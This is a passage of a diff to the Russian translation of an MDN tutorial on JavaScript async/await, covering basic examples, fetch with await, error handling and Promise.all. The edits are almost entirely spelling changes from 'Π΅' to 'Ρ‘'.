+<p class="summary">Π’Β ECMAScript вСрсии 2017 появились <a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async functions</a> ΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a></code>Β (<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next support in Mozilla</a>). По сущСству, Ρ‚Π°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π΅ΡΡ‚ΡŒ синтаксичСский сахар над Promises ΠΈ Generator functions (<a href="https://tc39.es/ecmascript-asyncawait/">ts39</a>). Π‘ ΠΈΡ… ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π»Π΅Π³Ρ‡Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ/Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ асинхронный ΠΊΠΎΠ΄, вСдь ΠΎΠ½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π½Ρ‹ΠΉ синхронный ΡΡ‚ΠΈΠ»ΡŒ написания. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π° Π±Π°Π·ΠΎΠ²ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ разбСрёмся Π² ΠΈΡ… устройствС.</p>
<table class="learn-box standard-table">
<tbody>
@@ -41,7 +41,7 @@ hello();</pre>
<p>Ѐункция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ "Hello" β€” Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ, Π²Π΅Ρ€Π½ΠΎ ?</p>
-<p>Но Ρ‡Ρ‚ΠΎ Ссли ΠΌΡ‹ сдСлаСм Π΅Π΅ асинхронной ? ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ:</p>
+<p>Но Ρ‡Ρ‚ΠΎ Ссли ΠΌΡ‹ сдСлаСм Π΅Ρ‘ асинхронной ? ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ:</p>
<pre class="brush: js notranslate">async function hello() { return "Hello" };
hello();</pre>
@@ -63,16 +63,16 @@ hello();</pre>
<pre class="brush: js notranslate">hello().then((value) =&gt; console.log(value))</pre>
-<p>ΠΈΠ»ΠΈ Π΅Ρ‰Π΅ ΠΊΠΎΡ€ΠΎΡ‡Π΅</p>
+<p>ΠΈΠ»ΠΈ Π΅Ρ‰Ρ‘ ΠΊΠΎΡ€ΠΎΡ‡Π΅</p>
<pre class="brush: js notranslate">hello().then(console.log)
</pre>
-<p>Π˜Ρ‚Π°ΠΊ, ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>async</code>, ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΈΒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ Π²Β Promise.Β Π’Π°ΠΊΠΆΠ΅ асинхронная функция позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² своСм Ρ‚Π΅Π»Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово await, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΄Π°Π»Π΅Π΅.</p>
+<p>Π˜Ρ‚Π°ΠΊ, ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>async</code>, ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΈΒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ Π²Β Promise.Β Π’Π°ΠΊΠΆΠ΅ асинхронная функция позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² своём Ρ‚Π΅Π»Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово await, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΄Π°Π»Π΅Π΅.</p>
<h3 id="ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅_слово_await">ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово await</h3>
-<p>АсинхронныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ становятся ΠΏΠΎ настоящСму ΠΌΠΎΡ‰Π½Ρ‹ΠΌΠΈ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a>Β Β β€” ΠΏΠΎ Ρ„Π°ΠΊΡ‚Ρƒ, <strong><code>await</code>Β Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² асинхронных функциях</strong>. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ await ΠΏΠ΅Ρ€Π΅Π΄ promise-based Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΊ выполнСния ΠΈ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° Π΅Π΅ выполнСния (Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Promise). Π’ Ρ‚ΠΎ ΠΆΠ΅ врСмя, ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΊΠΎΠ΄ нашСго прилоТСния Π½Π΅ блокируСтся ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ.</p>
+<p>АсинхронныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ становятся ΠΏΠΎ настоящСму ΠΌΠΎΡ‰Π½Ρ‹ΠΌΠΈ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a>Β Β β€” ΠΏΠΎ Ρ„Π°ΠΊΡ‚Ρƒ, <strong><code>await</code>Β Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² асинхронных функциях</strong>. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ await ΠΏΠ΅Ρ€Π΅Π΄ promise-based Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΊ выполнСния ΠΈ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° Π΅Ρ‘ выполнСния (Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Promise). Π’ Ρ‚ΠΎ ΠΆΠ΅ врСмя, ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΊΠΎΠ΄ нашСго прилоТСния Π½Π΅ блокируСтся ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>await</code> ΠΏΠ΅Ρ€Π΅Π΄ любой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, Ρ‡Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Promise, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ BrowserΒ API Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
@@ -84,7 +84,7 @@ hello();</pre>
hello().then(alert);</pre>
-<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ ΠΊΠΎΠ΄ Π²Ρ‹ΡˆΠ΅ бСсполСзСн, Π½ΠΎ Π² ΡƒΡ‡Π΅Π±Π½Ρ‹Ρ… цСлях ΠΎΠ½ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ синтаксис асинхронных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌ.</p>
+<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ ΠΊΠΎΠ΄ Π²Ρ‹ΡˆΠ΅ бСсполСзСн, Π½ΠΎ Π² ΡƒΡ‡Π΅Π±Π½Ρ‹Ρ… цСлях ΠΎΠ½ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ синтаксис асинхронных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌ.</p>
<h2 id="ΠŸΠ΅Ρ€Π΅ΠΏΠΈΡΡ‹Π²Π°Π΅ΠΌ_Promises_с_использованиСм_asyncawait">ΠŸΠ΅Ρ€Π΅ΠΏΠΈΡΡ‹Π²Π°Π΅ΠΌ Promises с использованиСм async/await</h2>
@@ -154,7 +154,7 @@ myFetch().then((blob) =&gt; {
<h3 id="ΠœΠΈΠ½ΡƒΡ‚ΠΎΡ‡ΠΊΡƒ_Π°_ΠΊΠ°ΠΊ_это_всС_Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚">ΠœΠΈΠ½ΡƒΡ‚ΠΎΡ‡ΠΊΡƒ, Π° ΠΊΠ°ΠΊ это всС Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ?</h3>
-<p>Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΠ»ΠΈ наш ΠΊΠΎΠ΄ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈ сдСлали Π΅Π΅ асинхронной с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ acync. Π­Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ - Π½Π°ΠΌ Π½Π°Π΄ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ асинхронный ΠΊΠΎΠ΄ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ Π΅Π³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ await, Π½Π΅ блокируя ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΊΠΎΠ΄ нашСго скрипта.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΠ»ΠΈ наш ΠΊΠΎΠ΄ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈ сдСлали Π΅Ρ‘ асинхронной с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ acync. Π­Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ - Π½Π°ΠΌ Π½Π°Π΄ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ асинхронный ΠΊΠΎΠ΄ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ Π΅Π³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ await, Π½Π΅ блокируя ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΊΠΎΠ΄ нашСго скрипта.</p>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈΒ <code>myFetch()</code> находится ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСгка Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ Π²Π΅Ρ€ΡΠΈΡŽ Π½Π° Promise, Π½ΠΎ Π΅ΡΡ‚ΡŒ Π²Π°ΠΆΠ½Ρ‹Π΅ отличия. ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ Π±Π»ΠΎΠΊΠΎΠ²Β <code>.then()</code>Β ΠΌΡ‹ просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>await</code>Β ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌΒ promise-based Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ присваиваСм Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>await</code>Β Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ JavaScript runtime ΠΏΡ€ΠΈΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ Π² этой строкС, Π½Π΅ блокируя ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΊΠΎΠ΄ скрипта Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ асинхронной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Когда Π²Ρ‹Π·ΠΎΠ²Β promise-based Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΡ‚ΠΎΠ² Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ продолТится с этой строки дальшС.<br>
<br>
@@ -162,7 +162,7 @@ myFetch().then((blob) =&gt; {
<pre class="brush: js notranslate">let response = await fetch('coffee.jpg');</pre>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Promise, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Π΅Ρ€Π½Π΅Ρ‚Β <code>fetch()</code>Β Π±ΡƒΠ΄Π΅Ρ‚ присвоСно ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>response</code>Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ доступно - парсСр Π΄Π΅Π»Π°Π΅Ρ‚ ΠΏΠ°ΡƒΠ·Ρƒ Π½Π° Π΄Π°Π½Π½ΠΎΠΉ строкС доТидаясь этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ доступно, парсСр ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ создаСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code><a href="/en-US/docs/Web/API/Blob">Blob</a></code> ΠΈΠ· Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° Promise. Π’ этой строкС, кстати, Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ <code>await</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>.blob()</code>Β Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Promise. Когда Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π³ΠΎΡ‚ΠΎΠ², ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ Π΅Π³ΠΎ Π½Π°Ρ€ΡƒΠΆΡƒ ΠΈΠ·Β <code>myFetch()</code>.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Promise, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚Β <code>fetch()</code>Β Π±ΡƒΠ΄Π΅Ρ‚ присвоСно ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>response</code>Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ доступно - парсСр Π΄Π΅Π»Π°Π΅Ρ‚ ΠΏΠ°ΡƒΠ·Ρƒ Π½Π° Π΄Π°Π½Π½ΠΎΠΉ строкС доТидаясь этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ доступно, парсСр ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ создаётся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code><a href="/en-US/docs/Web/API/Blob">Blob</a></code> ΠΈΠ· Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° Promise. Π’ этой строкС, кстати, Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ <code>await</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>.blob()</code>Β Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Promise. Когда Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π³ΠΎΡ‚ΠΎΠ², ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ Π΅Π³ΠΎ Π½Π°Ρ€ΡƒΠΆΡƒ ΠΈΠ·Β <code>myFetch()</code>.</p>
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ <code>myFetch()</code>, ΠΎΠ½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Promise, поэтому ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <code>.then()</code>Β Π½Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π° экранС.<br>
<br>
@@ -173,7 +173,7 @@ myFetch().then((blob) =&gt; {
<p><br>
Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ошибки Ρƒ нас Π΅ΡΡ‚ΡŒ нСсколько Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²</p>
-<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> структуру с <code>async</code>/<code>await</code>. Π’ΠΎΡ‚ измСнСнная вСрсия ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β Π²Ρ‹ΡˆΠ΅:</p>
+<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> структуру с <code>async</code>/<code>await</code>. Π’ΠΎΡ‚ измСнённая вСрсия ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β Π²Ρ‹ΡˆΠ΅:</p>
<pre class="brush: js notranslate">async function myFetch() {
try {
@@ -195,7 +195,7 @@ myFetch().then((blob) =&gt; {
myFetch();</pre>
-<p>Π’ Π±Π»ΠΎΠΊΒ <code>catch() {}</code> пСрСдаСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π½Π°Π·Π²Π°Π»ΠΈΒ <code>e</code>; ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ вывСсти Π΅Π³ΠΎ Π² консоль, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΄Π΅Ρ‚Π°Π»ΠΈ: Π³Π΄Π΅ ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π²ΠΎΠ·Π½ΠΈΠΊΠ»Π° ошибка.</p>
+<p>Π’ Π±Π»ΠΎΠΊΒ <code>catch() {}</code> пСрСдаётся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π½Π°Π·Π²Π°Π»ΠΈΒ <code>e</code>; ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ вывСсти Π΅Π³ΠΎ Π² консоль, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΄Π΅Ρ‚Π°Π»ΠΈ: Π³Π΄Π΅ ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π²ΠΎΠ·Π½ΠΈΠΊΠ»Π° ошибка.</p>
<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π³ΠΈΠ±Ρ€ΠΈΠ΄Π½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Ρ‹ (ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅), Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π»ΠΎΠΊΒ <code>.catch()</code> послС Π±Π»ΠΎΠΊΠ°Β <code>.then()</code> Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
@@ -229,7 +229,7 @@ myFetch().then((blob) =&gt; {
<h2 id="Await_ΠΈ_Promise.all">AwaitΒ ΠΈΒ Promise.all()</h2>
-<p>Как Π²Ρ‹ ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, асинхронныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ построСны ΠΏΠΎΠ²Π΅Ρ€Ρ…Β <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promises</a>, поэтому ΠΎΠ½ΠΈ совмСстимы со всСми возмоТностями послСдних. ΠœΡ‹ Π»Π΅Π³ΠΊΠΎ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all()</a></code>, ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² 